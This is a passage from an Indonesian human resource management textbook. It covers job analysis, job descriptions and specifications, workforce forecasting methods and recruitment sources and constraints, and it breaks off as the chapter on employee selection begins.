/>pekerjaan-pekerjaan apa saja yang harus dikerjakan dalam suatu perusahaan agar tujuan<br />dapat tercapai.<br />Manfaat dari analisa jabatan ini juga akan memberikan informasi tentang:<br />aktivitas pekerjaan, standar pekerjaan, konteks pekerjaan, persyaratan personalia<br />(personnel requirement), perilaku manusia, dan alat-alat yang dipergunakan.<br />Pengertian analisa jabatan berbeda dengan motion study (studi gerak). Bila analisa<br />jabatan berupaya untuk menganalisis pekerjaan apa saja yang harus dilakukan dalam<br />suatu perusahaan agar dapat mencapai tujuannya, sedangkan studi gerak tersebut<br />mempelajari gerakan-gerakan yang paling efisien & efektif untuk melakukan suatu<br />pekerjaan.<br />B. Langkah-langkah/Proses dalam Analisa Jabatan<br />Proses dalam menganalisa jabatan itu dilakukan melalui langkah-langkah sebagai<br />berikut:<br />a. Menentukan penggunaan hasil informasi analisa jabatan.<br />b. Mengumpulkan informasi tentang latar belakang.<br />c. Menyeleksi muwakil (representative) jabatan yang akan dianalisis.<br />d. Mengumpulkan informasi analisa jabatan.<br />e. Meninjau informasi dengan pihak-pihak yang berkepentingan.<br />f. Menyusun uraian pekerjaan dan spesifikasi pekerjaan.<br />g. Meramalkan/memperhitungkan perkembangan perusahaan.<br />20<br />Penjelasannya adalah sebagai berikut:<br />a. Menentukan penggunaan hasil informasi analisa jabatan artinya bahwa penganalisis<br />harus mengetahui secara jelas apa kegunaan hasil informasi analisa jabatan itu.<br />Karena hasil ini akan digunakan untuk menentukan jenis data yang akan dikumpulkan<br />dan teknik pengumpulan datanya. Informasi dari hasil analisa jabatan itu<br />dipergunakan untuk menetapkan job description, job specification, & job evaluation<br />dalam pengadaan tenaga-kerja.<br />b. Mengumpulkan informasi tentang latar belakang artinya penganalisis harus<br />mengumpulkan dan mengkualifikasikan data, meninjau informasi latar belakang<br />seperti bagan organisasi, bagan proses dan uraian pekerjaan. Pengumpulan data ini<br />dilakukan dengan metode penelitian deskriptif analisis, survey, sensus dan sample.<br />Sedangkan teknik pengumpulan data dapat dilakukan melalui wawancara, observasi,<br />kuesioner, dan juga angket. Data yang terkumpul itu dikualifikasikan, dianalisis dan<br />diaplikasikan di masa yang akan datang.<br />c. Menyeleksi muwakil jabatan yang akan dianalisis artinya penganalisis harus memilih<br />beberapa muwakil jabatan untuk dianalisis. Hal ini perlu dilakukan untuk menghemat<br />biaya dan waktu apabila pekerjaan yang akan dianalisis tersebut amat banyak.<br />d. Mengumpulkan informasi analisa jabatan artinya penganalisis kemudian<br />mengadakan analisa jabatan secara aktual dengan menghimpun data tentang aktivitas<br />pekerjaan, perilaku karyawan yang diperlukan, kondisi kerja dan syarat-syarat<br />personil yang akan melaksanakan pekerjaan itu.<br />e. Meninjau informasi dengan pihak-pihak yang berkepentingan artinya analisa jabatan<br />menyediakan informasi tentang hakikat dan fungsi pekerjaan. Informasi ini<br />hendaknya diverifikasi dengan pekerja yang akan melaksanakan pekerjaan itu serta<br />atasan langsung dari karyawan yang bersangkutan. Dengan memverifikasi informasi,<br />maka akan dapat membantu untuk menentukan kebenarannya dan melengkapinya<br />secara faktual serta dapat dipahami dengan mudah oleh semua pihak yang<br />berkepentingan. Langkah peninjauan ini juga akan dapat membantu perolehan<br />penerimaan seseorang atas data analisa jabatan yang telah dihimpun dengan<br />memberikan kesempatan bagi orang tersebut untuk memodifikasi uraian tentang<br />aktivitas yang dilaksanakannya.<br />21<br />f. Menyusun uraian pekerjaan dan spesifikasi pekerjaan artinya penganalisis jabatan/<br />pekerjaan harus menyusun uraian pekerjaan, uraian jabatan, dan evaluasi pekerjaan.<br />g. Meramalkan/memperhitungkan perkembangan perusahaan artinya penganalisis harus<br />juga memperhitungkan/meramalkan perkembangan uraian pekerjaan, spesifikasi<br />pekerjaan, apakah di kemudian hari diperlukan pemerkayaan pekerjaan, perluasan<br />pekerjaan dan penyederhanaan pekerjaan dalam perusahaan tersebut. Hal ini<br />diperlukan guna memperhitungkan kemampuan tenaga-kerja untuk masa kini dan<br />masa depan agar mereka dapat tetap melaksanakan pekerjaan walaupun ada<br />pemakaian teknokrat canggih dan reorganisasi perusahaan.<br />Dengan analisa jabatan maka kita akan dapat memperoleh informasi tentang<br />uraian pekerjaan, uraian jabatan, spesifikasi pekerjaan, dan evaluasi pekerjaan pada<br />perusahaan tersebut.<br />Analisa jabatan selain menghasilkan job description, job specification, & job<br />evaluation juga berguna bagi:<br />a. Perekrutan dan Seleksi (recruitment and selection)<br />Analisa jabatan memberikan informasi tentang uraian pekerjaan dan syarat-syarat<br />manusia yang diperlukan untuk melaksanakan pekerjaan itu. Isi dari spesifikasi<br />dijadikan dasar seleksi untuk memutuskan jenis orang yang perlu direkrut dan diangkat.<br />b. Kompensasi (compensation)<br />Informasi analisa jabatan memberikan pemahaman yang jelas tentang latar belakang<br />(pendidikan, usia, pengalaman, dll) orang yang akan menjabat jabatan itu, sehingga kita<br />dapat menentukan gajinya.<br />c. Evaluasi Jabatan<br />Informasi analisa jabatan memberikan pemahaman yang jelas mengenai<br />berat/ringannya pekerjaan, besar/kecilnya resiko yang dihadapi pekerja, sulit/mudahnya<br />mendapatkan orang yang sesuai. Dengan demikian kita dapat menetapkan harga/gaji si<br />pejabat yang menjabat jabatan tersebut.<br />d. Penilaian Prestasi Kerja (performance appraisal)<br />Penilaian prestasi kerja merupakan upaya untuk membandingkan prestasi aktual<br />pegawai dengan prestasi kerja yang diharapkan darinya. Untuk menentukan apakah<br />22<br />suatu pekerjaan bisa dikerjakan/diselesaikan dengan baik, maka uraian pekerjaan akan<br />sangat membantu dalam penentuan sasaran pekerjaannya.<br />e. Latihan (training)<br />Informasi analisa jabatan digunakan untuk merangsang program latihan &<br />pengembangan. Uraian pekerjaan, perlengkapan dan jenis ketrampilan pekerja<br />dijadikan sebagai alat bantu dalam pengembangan program-program latihan.<br />f. Promosi dan Pemindahan<br />Informasi analisa jabatan akan digunakan untuk membantu dalam menentukan promosi<br />ataupun pemindahan karyawan/tenaga-kerja.<br />g. Organisasi<br />Informasi jabatan yang diperoleh dari analisa jabatan seringkali memberikan petunjuk<br />bahwa organisasi yang ada perlu untuk diperbaiki.<br />h. Pemerkayaan Pekerjaan ( job enrichment)<br />Informasi analisa jabatan dapat digunakan untuk memperkaya pekerjaan pada suatu<br />jabatan tertentu.<br />i. Penyederhanaan Pekerjaan (work simplification)<br />Informasi analisa jabatan digunakan juga untuk penyederhanaan/spesialisasi pekerjaan<br />dikarenakan adanya perkembangan perusahaan dan spesifikasi yang mendalam.<br />Akibatnya pekerjaan-pekerjaan yang harus dilakukan dalam suatu jabatan semakin<br />terspesialisasi.<br />j. Penempatan (placement)<br />Informasi analisa jabatan digunakan untuk menempatkan para tenaga-kerja pada<br />pekerjaan-pekerjaan yang yang sesuai dengan ketrampilannya agar mereka dapat<br />bekerja secara efektif.<br />k. Peramalan dan Perekrutan<br />Informasi analisa jabatan digunakan untuk peramalan dan perekrutan tenaga kerja yang<br />akan dibutuhkan perusahaan.<br />l. Orientasi dan Induksi<br />Informasi analisa jabatan digunakan untuk orientasi dan induksi bagi tenaga-kerja baru<br />mengenai sejarah perusahaan, hak & kewajibannya, menginduksi, dll.<br />23<br />C. Uraian Pekerjaan (job description)<br />Uraian pekerjaan (job description) dan uraian jabatan (job position) diketahui<br />serta disusun berdasarkan informasi yang telah dihasilkan oleh analisa jabatan/analisa<br />pekerjaan.<br />Uraian pekerjaan biasanya digunakan untuk tenaga-kerja operasional, sedangkan<br />uraian jabatan digunakan untuk tenaga-kerja manajerial. Uraian pekerjaan/jabatan ini<br />harus ditetapkan secara jelas untuk setiap jabatan, agar pejabat tersebut dapat mengetahui<br />tugas dan tanggung-jawab yang harus dilakukannya. Uraian pekerjaan akan memberikan<br />ketegasan dan standar tugas yang harus dicapai oleh seorang pejabat yang menjabat<br />jabatan tersebut. Uraian pekerjaan ini menjadi dasar untuk menetapkan spesifikasi<br />pekerjaan dan evaluasi pekerjaan bagi pejabat yang menjabat jabatan itu. Uraian<br />pekerjaan yang kurang jelas akan mengakibatkan seorang pejabat kurang mengetahui<br />tugas dan tanggung-jawabnya pada jabatan tersebut. Hal ini mengakibatkan pekerjaan<br />menjadi tidak beres dan bahkan pejabat yang bersangkutan akan menjadi overacting.<br />Disinilah letak pentingnya peranan uraian pekerjaan dalam setiap organisasi/perusahaan.<br />Apakah yang diartikan dengan uraian pekerjaan itu?<br />Uraian pekerjaan adalah informasi tertulis yang menguraikan tugas dan tanggungjawab,<br />kondisi pekerjaan, hubungan pekerjaan, dan aspek-aspek pekerjaan pada suatu<br />jabatan tertentu dalam organisasi.<br />Uraian pekerjaan harus jelas dan persepsinya juga harus mudah untuk dipahami,<br />serta menguraikan hal-hal sebagai berikut:<br />1. Identifikasi pekerjaan atau jabatan yakni memberikan nama jabatannya, seperti;<br />rektor, dekan, dosen, kabag administrasi, dll.<br />2. Hubungan tugas dan tanggung-jawab, yakni perincian tugas dan tanggung-jawab<br />secara nyata yang diuraikan secara terpisah, agar dapat dengan jelas untuk diketahui.<br />Rumusan hubungan hendaknya menunjukkan hubungan antara pejabat dengan orang<br />lain baik di dalam maupun di luar organisasi.<br />3. Standar wewenang dan pekerjaan yakni kewenangan dan prestasi yang harus dicapai<br />oleh setiap pejabat tersebut harus jelas.<br />24<br />4. Syarat kerja harus diuraikan dengan jelas seperti alat-alat, mesin-mesin, dan bahan<br />baku yang akan dipergunakan untuk melakukan pekerjaan tersebut.<br />5. Ringkasan pekerjaan atau jabatan, yaitu hendaknya menguraikan bentuk umum<br />pekerjaan dengan hanya mencantumkan fungsi-fungsi dan aktivitas utamanya.<br />6. Penjelasan tentang jabatan dibawah dan diatasnya, yaitu harus dijelaskan jabatan<br />darimana si petugas dipromosikan dan ke jabatan mana si petugas akan dipromosikan.<br />Jadi kesimpulannya adalah bahwa uraian pekerjaan haruslah diuraikan secara jelas<br />agar pejabat yang akan menjabat jabatan tersebut dapat mengetahui tugas dan<br />tanggung-jawab serta standar prestasi yang harus dicapainya. Uraian pekerjaan harus<br />menjadi dasar untuk menetapkan spesifikasi pekerjaan agar pengisian jabatan yang<br />didasarkan pada prinsip apa dan kemudian siapa tidak menimbulkan terjadinya<br />mismanajemen.<br />D. Spesifikasi Pekerjaan (job specification)<br />Spesifikasi pekerjaan (job specification) ini disusun berdasarkan uraian pekerjaan<br />dengan menjawab pertanyaan “apa ciri, karakteristik, pendidikan, pengalaman dari orang<br />yang akan melaksanakan pekerjaan tersebut baik”. Spesifikasi pekerjaan menunjukkan<br />persyaratan orang yang akan direkrut dan menjadi dasar untuk melakukan seleksi.<br />Apakah spesifikasi pekerjaan itu?<br />Spesifikasi pekerjaan adalah uraian persyaratan kualitas minimum orang yang<br />bisa diterima agar dapat menjalankan satu jabatan dengan baik & kompeten.<br />Pada umumnya spesifikasi jabatan memuat ringkasan pekerjaan yang jelas dan<br />kualitas definitif yang dibutuhkan dari pemangku jabatan itu. Spesifikasi pekerjaan<br />memberikan uraian informasi mengenai:<br />1. Tingkat pendidikan pekerja<br />2. Jenis kelamin pekerja<br />3. Keadaan fisik pekerja<br />4. Pengetahuan dan kecakapan pekerja<br />5. Batas umur pekerja<br />6. Menikah atau belum<br />25<br />7. Minat pekerja<br />8. Emosi dan tempramen pekerja<br />9. Pengalaman pekerja<br />Spesifikasi pekerjaan bagi setiap perusahaan tidak sama, karena spesifikasi ini<br />pada dasarnya disusun dari uraian pekerjaan. Dan uraian pekerjaan dari tiap-tiap<br />perusahaan juga tidak sama pula. Misalnya ada perusahaan yang membutuhkan tenagakerja<br />dengan melihat dari tinggi badan, kecantikan, dsb.<br />26<br />BAB IV<br />FUNGSI PENGADAAN<br />PERENCANAAN PERSONIL & PEREKRUTAN<br />A. Perencanaan Kebutuhan Tenaga Kerja<br />Perencanaan kebutuhan tenaga kerja dimaksudkan agar jumlah kebutuhan tenaga<br />kerja masa kini dan masa depan sesuai dengan beban pekerjaan, kekosongan-kekosongan<br />dapat dihindarkan dan semua pekerjaan dapat dilaksanakan. Perencanaan kebutuhan<br />tenaga kerja ini harus didasarkan pada informasi dari faktor internal & faktor eksternal<br />perusahaan.<br />Faktor Internal dan Eksternal Perusahaan:<br />a. Jumlah produksi<br />b. Ramalan-ramalan usaha<br />c. Perluasan perusahaan<br />d. Perkembangan teknologi<br />e. Tingkat permintaan dan penawaran tenaga kerja<br />f. Perencanaan karier tenaga kerja/pegawai<br />a. Jumlah Produksi<br />Bahwa jumlah produksi yang akan dihasilkan menentukan banyaknya karyawan yang<br />dibutuhkan oleh setiap perusahaan. Semakin banyak produksi yang akan dihasilkan<br />maka akan semakin banyak pula tenaga kerja yang dibutuhkan/direkrut.<br />b. Ramalan-ramalan Usaha<br />Hal ini meliputi perkiraan mengenai situasi perekonomian, siklus usaha yang<br />menyangkut ketidakpastian di masa yang akan datang, baik dalam jangka pendek<br />maupun jangka panjang.<br />27<br />c. Perluasan Perusahaan<br />Perencanaan tenaga kerja juga dipengaruhi oleh rencana perluasan perusahaan di<br />masa yang akan datang. Jika perusahaan akan diperbesar maka perekrutan/penarikan<br />tenaga kerja akan semakin banyak pula.<br />d. Perkembangan Teknologi<br />Perkembangan teknologi juga akan mempengaruhi jumlah tenaga kerja yang<br />dibutuhkan oleh suatu perusahaan. Perusahaan yang menggunakan alat-alat canggih,<br />maka jumlah tenaga kerja yang dibutuhkan sedikit. Hal inilah yang harus<br />diperhitungkan agar dikemudian hari tidak terjadi PHK.<br />e. Pasaran Tenaga Kerja<br />Pasaran tenaga kerja haruslah diperhatikan sebab jika penawaran lebih besar dari<br />permintaan maka tingkat upah akan cenderung rendah. Dalam hal ini perusahaan<br />harus menghitung manakah yang paling menguntungkan, apakah dengan labor<br />intensive atau capital intensive. Sehingga hal tersebut akan mempengaruhi<br />kebijaksanaan kebutuhan tenaga kerja.<br />f. Perencanaan Karier Tenaga Kerja<br />Kemungkinan promosi di kemudian hari akan ikut mempengaruhi kebutuhan tenaga<br />kerja. Jika promosi akan dilakukan di kemudian hari, maka calon karyawan/tenaga<br />kerja yang dibutuhkan harus dengan spesifikasi yang lebih banyak lagi.<br />B. Prediksi Kebutuhan Tenaga Kerja<br />Berapa banyak jumlah tenaga kerja & tenaga kerja dengan skill yang bagaimana<br />yang akan dibutuhkan di masa depan itu banyak digantungkan kepada informasi<br />mengenai keadaan di masa lampau, keadaan saat ini dan asumsi-asumsi mengenai<br />keadaan di masa depan.<br />Asumsi yang biasa digunakan adalah dengan melihat trend di masa lampau,<br />sedangkan hubungan antara variabel dianggap tetap. Tetapi pada kondisi bisnis yang<br />dinamis dan selalu berubah maka asumsi-asumsi tersebut mungkin akan tidak berlaku,<br />sehingga perubahan-perubahan pada perencanaan mungkin dibutuhkan.<br />28<br />Terdapat tiga metode dalam memprediksi kebutuhan akan tenaga kerja, yaitu :<br />1. Metode Penilaian<br />Pada dasarnya metode penilaian memanfaatkan orang-orang yang cukup<br />berpengalaman dalam memprediksi kebutuhan perusahaan akan tenaga kerja di masa<br />mendatang. Metode penilaian mempertimbangkan data kuantitatif, tetapi disamping<br />itu juga dipertimbangkan faktor intuisi dan keahlian.<br />Metode penilaian yang paling sederhana adalah metode Bottom-Up, yaitu masingmasing<br />unit, cabang, departemen, memperkirakan sendiri kebutuhannya akan tenaga<br />kerja. Idealnya manajer menerima informasi & pengarahan, yang kemudian<br />dikombinasikan dengan pandangan mereka sendiri untuk dapat membuat perkiraan<br />yang dibutuhkan tersebut. Jumlah dari perkiraan masing-masing departemen akan<br />merupakan jumlah keseluruhan kebutuhan akan tenaga kerja yang dibutuhkan<br />perusahaan.<br />Metode lainnya adalah metode Top-down, dimana para eksekutif mendiskusikan<br />bagaimana kondisi perekonomian, trend bisnis, perencanaan yang telah dibuat serta<br />berbagai faktor lain yang mungkin mempengaruhi kebutuhan perusahaan akan tenaga<br />kerja. Mereka juga membuat perkiraan-perkiraan mengenai kemungkinankemungkinan<br />terburuk yang mungkin terjadi.<br />Metode berikutnya adalah teknik Delphi, dimana para eksekutif pada masing-masing<br />cabang tidak bertemu, tetapi mereka membuat konsensus dengan menjawab<br />kuesioner-kuesioner yang diberikan oleh perusahaan mengenai perencanaan yang<br />akan dibuat. Kuesioner-kuesioner ini dikirim berulang-ulang dengan mencantumkan<br />hasil dari kuesioner sebelumnya, sehingga para eksekutif cabang tersebut dapat<br />membandingkan dan membuat prediksi yang lebih tepat. Teknik ini akan<br />meningkatkan kualitas keputusan yang diambil, karena akan dapat menghilangkan<br />perselisihan pribadi maupun kemungkinan adanya dominasi suara dalam proses<br />pengambilan keputusan. Tetapi teknik ini juga memakan waktu yang lama, sehingga<br />untuk keputusan-keputusan yang membutuhkan pengambilan keputusan yang cepat,<br />maka teknik ini akan sangat sulit untuk digunakan.<br />29<br />2. Metode Matematika Sederhana<br />Metode ini memanfaatkan informasi-informasi yang tersedia yang menyangkut akan<br />kebutuhan tenaga kerja, lalu kemudian dikombinasikan dengan rasio produktivitas<br />untuk tenaga kerja langsung maupun rasio staf untuk tenaga kerja tidak langsung.<br />Rasio produktivitas tidak langsung adalah perbandingan antara hasil produksi ratarata<br />dengan dengan tenaga kerja langsung setiap tahun. Sedangkan rasio staf untuk<br />tenaga kerja tidak langsung ialah untuk menghitung jumlah tenaga kerja tidak<br />langsung dalam proses produksi. Rasio-rasio ini dihasilkan dari data-data yang<br />dikumpulkan secara periodik dalam jangka waktu yang lama.<br />Perkiraan dengan memanfaatkan rasio produktivitas mendasarkan pada asumsi bahwa<br />jumlah dari tenaga kerja akan selalu meningkat sebanding dengan peningkatan jumlah<br />pekerjaan yang harus dilakukan. Hal ini tidak selalu benar, karena ada kalanya<br />perusahaan dapat memberlakukan aturan lembur.<br />Rasio produktivitas juga memanfaatkan learning curves, dimana diasumsikan bahwa<br />produktivitas akan meningkat seiring dengan bertambahnya pengalaman. Karyawan<br />yang telah bekerja cukup lama akan bisa mengetahui hal-hal apa yang dapat<br />membantu meningkatkan efisiensi dan efektivitas dalam bekerja sehingga<br />produktivitas akan meningkat.<br />Untuk memanfaatkan learning curve dipakai progress index, yang menunjukkan<br />persentase belajar yang terjadi dalam setiap kali produksi menjadi dua kali lipat.<br />3. Metode Matematika Kompleks<br />Jenis metode ini dapat dipakai pada perusahaan besar yang telah memiliki<br />pengalaman yang cukup lama dalam perencanaan Sumber Daya Manusia.<br />Salah satunya adalah Metode Regresi Berganda, yang memanfaatkan berbagai faktor<br />yang berhubungan dengan kebutuhan akan tenaga kerja untuk memprediksi<br />kebutuhan tenaga kerja di masa mendatang.<br />C. Perekrutan Tenaga Kerja<br />Perekrutan (recruitment) adalah masalah penting dalam pengadaan tenaga kerja.<br />Jika perekrutan berhasil, maka artinya banyak pelamar yang memasukkan lamarannya,<br />dan tentu saja peluang untuk mendapatkan tenaga kerja yang baik semakin terbuka lebar,<br />30<br />karena kita dapat memilih yang paling terbaik diantara karyawan tersebut. Perekrutan<br />tenaga kerja/pelamar dipengaruhi oleh:<br />1. Balas jasa yang diberikan. Jika balas jasa yang diberikan besar, maka pelamarnya<br />akan semakin banyak. Sebaliknya bila balas jasa yang diberikan kecil, maka pelamar<br />menjadi sedikit.<br />2. Status tenaga kerja. Jika statusnya adalah untuk menjadi tenaga kerja tetap maka<br />pelamarnya akan relatif banyak. Tetapi bila statusnya adalah sebagai tenaga kerja<br />honorer, maka pelamarnya sedikit.<br />3. Kesempatan promosi. Jika kesempatan promosi terbuka lebar maka jumlah pelamar<br />akan banyak, begitu pula sebaliknya.<br />4. Job specification. Jika spesifikasi pekerjaannya sedikit, maka orang yang mencoba<br />untuk melamar pekerjaan tersebut akan semakin banyak, begitu pula sebaliknya.<br />5. Metode penarikan. Bila perekrutan/penarikan terbuka luas melalui media massa atau<br />lain sebagainya, maka pelamar yang mencoba semakin banyak, sebaliknya.<br />6. Soliditas perusahaan. Jika soliditas perusahaan cukup tinggi maka pelamarnya<br />banyak, dan sebaliknya.<br />7. Peraturan perburuhan. Jika peraturan perburuhan longgar maka pelamar banyak, dan<br />sebaliknya. Misalnya usia tenaga kerja, dsb.<br />8. Penawaran tenaga kerja. Jika penawaran tenaga kerja banyak maka pelamar yang<br />mencoba akan semakin banyak, begitu pula sebaliknya.<br />Apakah perekrutan itu?<br />Perekrutan adalah usaha mencari & mempengaruhi tenaga kerja, agar mau<br />melamar lowongan pekerjaan yang ada dalam suatu perusahaan.<br />Edwin B. Flippo<br />Recruitment is the process of searching for prospective employees and<br />stimulating them to apply for job in the organizational.<br />Maksudnya adalah bahwa perekrutan itu adalah suatu proses pencarian &<br />pemikatan para calon tenaga kerja/pegawai yang mampu bekerja di dalam organisasi.<br />31<br />Jadi intinya yaitu perekrutan ialah usaha mencari dan menarik tenaga kerja agar melamar<br />lowongan pekerjaan yang ada pada suatu perusahaan.<br />Siapakah yang disebut tenaga kerja itu?<br />Menurut Pasal 1 Undang-undang No. 14 tahun 1969, tenaga kerja adalah: tiap<br />orang yang mampu melakukan pekerjaan baik didalam maupun diluar hubungan kerja,<br />guna menghasilkan barang ataupun jasa untuk memenuhi kebutuhan masyarakat. Tenaga<br />kerja ini harus memenuhi persyaratan peraturan pemerintah, seperti batas usia tertentu.<br />Jadi pengertian tenaga kerja ini lebih luas bila dibandingkan dengan pengertian<br />karyawan, karena tenaga kerja merupakan orang yang bekerja baik didalam maupun<br />diluar hubungan kerja. Ciri khas hubungan kerja adalah tenaga kerja itu bekerja dibawah<br />perintah orang lain dengan menerima balas jasa.<br />Undang-undang No. 14 tahun 1969 dan peraturan pelaksanaannya tidak boleh<br />diadakan diskriminasi. Dalam Pasal 4 dikemukakan bahwa tiap tenaga kerja berhak<br />mendapat perlindungan atas keselamatan, kesehatan, kesulitan, pemeliharaan moral kerja,<br />serta perlakuan yang sesuai dengan martabat manusia dan moral agama.<br />Kerja<br />Kerja adalah merupakan sejumlah aktivitas fisik dan mental yang dilakukan<br />seseorang untuk mengerjakan suatu pekerjaan.<br />Buruh/kuli<br />Buruh/kuli adalah seseorang pekerja harian atau honorer yang bekerja dibawah<br />perintah orang lain dan menerima balas jasa yang besarnya itu telah ditentukan.<br />Karyawan/pegawai<br />Karyawan/pegawai adalah seseorang pekerja tetap yang bekerja dibawah perintah<br />orang lain dan mendapat kompensasi serta jaminan.<br />32<br />Proses perekrutan karyawan yang baik adalah sebagai berikut:<br />1. Penentuan dasar perekrutan<br />2. Penentuan sumber-sumber perekrutan<br />3. Metode-metode perekrutan<br />4. Kendala-kendala perekrutan<br />1. Penentuan Dasar Perekrutan<br />Dasar perekrutan calon karyawan harus terlebih dahulu ditetapkan agar para pelamar<br />yang memasukkan lamarannya sesuai dengan pekerjaan atau jabatan yang akan<br />dijabatnya. Dasar perekrutan harus berpedoman pada spesifikasi pekerjaan yang telah<br />ditentukan untuk menjabat jabatan tersebut. Job specification harus diuraikan secara<br />terinci & jelas, agar para pelamar dapat mengetahui kualifikasi-kualifikasi yang<br />dituntut oleh lowongan kerja tersebut. Misalnya batas usia, pendidikan, jenis kelamin,<br />kesehatan, dll. Jika spesifikasi pekerjaan dijadikan dasar & pedoman perekrutan,<br />maka karyawan yang diterima akan sesuai dengan uraian pekerjaan dari jabatan atau<br />pekerjaan tersebut.<br />2. Penentuan Sumber-sumber Perekrutan<br />Setelah diketahui spesifikasi pekerjaan karyawan yang dibutuhkan maka kita harus<br />menentukan sumber-sumber perekrutan calon karyawan tersebut. Sumber perekrutan<br />calon karyawan itu adalah sumber internal dan eksternal perusahaan.<br />Sumber Internal<br />Sumber internal adalah karyawan yang akan mengisi lowongan kerja diambil dari<br />dalam perusahaan tersebut, yakni dengan cara memutasikan atau pemindahan<br />karyawan yang memenuhi spesifikasi pekerjaan jabatan itu. Pemindahan karyawan itu<br />baik yang bersifat vertikal (promosi ataupun demosi) maupun bersifat horizontal. Jika<br />masih ada karyawan yang memenuhi spesifikasi pekerjaan, sebaiknya pengisian<br />jabatan tersebut diambil dari dalam perusahaan, khususnya untuk jabatan manajerial.<br />33<br />Hal ini sangat penting untuk memberikan kesempatan promosi bagi karyawan yang<br />ada.<br />Apa saja kebaikan dan kelemahan sumber internal itu?<br />Kebaikan-kebaikan sumber internal<br />a. Meningkatkan moral kerja & kedisiplinan karyawan, karena ada kesempatan<br />promosi.<br />b. Perilaku dan loyalitas karyawan semakin besar terhadap perusahaan.<br />c. Biaya perekrutan relatif kecil, karena tidak perlu memasang iklan.<br />d. Waktu perekrutan relatif singkat.<br />e. Orientasi dan induksi tidak diperlukan lagi.<br />f. Kestabilan karyawan semakin baik.<br />Kelemahan-kelemahan sumber internal<br />a. Kewibawaan karyawan yang dipromosikan itu kurang.<br />b. Kurang membuka kesempatan sistem kerja baru dalam perusahaan.<br />Bila tidak ada karyawan yang dapat memenuhi kualifikasi-kualifikasi jabatan yang<br />lowong tersebut, maka kita merekrutnya dari sumber eksternal.<br />Sumber Eksternal<br />Sumber Eksternal adalah karyawan yang akan mengisi jabatan yang lowong<br />dilakukan perekrutan dari sumber-sumber tenaga kerja diluar perusahaan, yaitu:<br />a. Kantor penempatan tenaga kerja.<br />b. Lembaga-lembaga pendidikan.<br />c. Referensi karyawan atau rekanan.<br />d. Serikat-serikat buruh.<br />e. Pencangkokan dari perusahaan lain.<br />f. Nepotisme dan leasing.<br />g. Pasar tenaga kerja dengan memasang iklan pada media massa.<br />h. Sumber-sumber lainnya.<br />34<br />Apa saja kebaikan dan kelemahan sumber eksternal itu?<br />Kebaikan-kebaikan sumber eksternal<br />a. Kewibawaan pejabat relatif baik.<br />b. Kemungkinan membawa sistem kerja baru yang lebih baik.<br />Kelemahan-kelemahan sumber eksternal<br />a. Prestasi karyawan lama cenderung turun, karena tidak ada kesempatan untuk<br />promosi.<br />b. Biaya perekrutan besar, karena iklan dan seleksi.<br />c. Waktu perekrutan relatif lama.<br />d. Orientasi dan induksi harus dilakukan.<br />e. Turnover cenderung akan meningkat.<br />f. Perilaku dan loyalitasnya belum diketahui.<br />3. Metode-metode Perekrutan<br />Metode perekrutan akan berpengaruh besar terhadap banyaknya lamaran yang masuk<br />ke dalam perusahaan. Metode perekrutan calon karyawan baru dibagi atas metode<br />tertutup dan metode terbuka.<br />Metode Tertutup<br />Metode tertutup yaitu dimana perekrutan itu hanya diinformasikan kepada para<br />karyawan atau orang-orang tertentu saja. Akibatnya lamaran yang masuk menjadi<br />relatif sedikit, sehingga kesempatan untuk mendapatkan karyawan yang baik akan<br />semakin sulit.<br />Metode Terbuka<br />Metode terbuka adalah dimana perekrutan itu diinformasikan secara luas dengan<br />memasang iklan pada media massa baik cetak maupun elektronik, agar tersebar luas<br />ke masyarakat. Dengan metode terbuka ini diharapkan banyak lamaran yang akan<br />masuk, sehingga kesempatan untuk mendapatkan karyawan yang qualified menjadi<br />lebih besar.<br />35<br />4. Kendala-kendala Perekrutan<br />Agar proses perekrutan berhasil maka perusahaan perlu menyadari berbagai kendala<br />yang bersumber dari “organisasi, pelaksana perekrutan dan lingkungan eksternal”.<br />Kendala-kendala yang dihadapi setiap perusahaan tidak sama, tetapi pada umumnya<br />kendala-kendala itu adalah:<br />a. Kebijaksanaan-kebijaksanaan organisasi<br />Berbagai kebijaksanaan organisasi merupakan cermin utama atas berhasil atau<br />tidaknya perekrutan calon pegawai. Kebijaksanaan organisasi yang akan<br />mempengaruhi perekrutan itu adalah:<br />• Kebijaksanaan Kompensasi dan Kesejahteraan.<br />Jika perusahaan dapat memberikan kompensasi dan kesejahteraan yang cukup<br />besar serta adil maka pelamar yang serius akan semakin banyak, tetapi<br />sebaliknya jika gaji dan kesejahteraan rendah maka pelamar menjadi sedikit.<br />• Kebijaksanaan Promosi<br />Apabila kesempatan untuk promosi diberikan cukup luas maka pelamar yang<br />serius semakin banyak, tetapi sebaliknya jika kesempatan untuk promosi<br />sangat terbatas maka pelamar akan menjadi sedikit. Promosi merupakan<br />idaman setiap karyawan, karena dengan promosi berarti status dan<br />pendapatan akan bertambah besar.<br />• Kebijaksanaan Status Karyawan<br />Jika status karyawan menjadi karyawan tetap/full-time maka pelamar semakin<br />banyak, tetapi jika status karyawannya honorer/harian/part-time maka<br />pelamar akan semakin sedikit.<br />• Kebijaksanaan Sumber Tenaga Kerja<br />Jika tenaga kerja yang akan diterima hanya bersumber dari tenaga kerja lokal<br />maka pelamar yang serius akan sedikit, tetapi sebaliknya bila tenaga kerja<br />yang akan diterima bersumber dari seluruh Nusantara, maka pelamar akan<br />semakin banyak.<br />36<br />b. Persyaratan-persyaratan jabatan<br />Semakin banyak persyaratan yang harus dimiliki pelamar maka pelamar akan<br />menjadi sedikit, sebaliknya jika jumlah persyaratannya sedikit maka pelamarnya<br />akan semakin banyak.<br />c. Metode pelaksanaan perekrutan<br />Semakin terbuka perekrutan maka pelamarnya akan semakin banyak, sebaliknya<br />apabila perekrutannya semakin tertutup maka pelamarnya semakin sedikit.<br />d. Kondisi pasar tenaga kerja<br />Semakin besar penawaran tenaga kerja maka akan semakin banyak pula pelamar<br />yang serius. Tetapi sebaliknya jika penawaran tenaga kerja sedikit maka<br />pelamarnya juga menjadi sedikit.<br />e. Soliditas perusahaan<br />Soliditas perusahaan dapat diartikan sebagai besarnya kepercayaan masyarakat<br />terhadap perusahaan, misal; besarnya perusahaan tersebut. Jika soliditas<br />perusahaan besar maka pelamar akan semakin banyak. Sebaliknya jika soliditas<br />perusahaan rendah maka pelamarnya akan semakin sedikit.<br />f. Kondisi-kondisi lingkungan eksternal<br />Jika kondisi perekonomian tumbuh dengan cepat dan saingannya juga banyak<br />maka pelamar akan sedikit, tetapi jika tingkat pertumbuhan perekonomian<br />kecil/depresi, maka pelamarnya akan semakin banyak.<br />37<br />BAB V<br />SELEKSI KARYAWAN<br />A. Pentingnya Seleksi<br />Karyawan adalah kekayaan atau aset utama dari 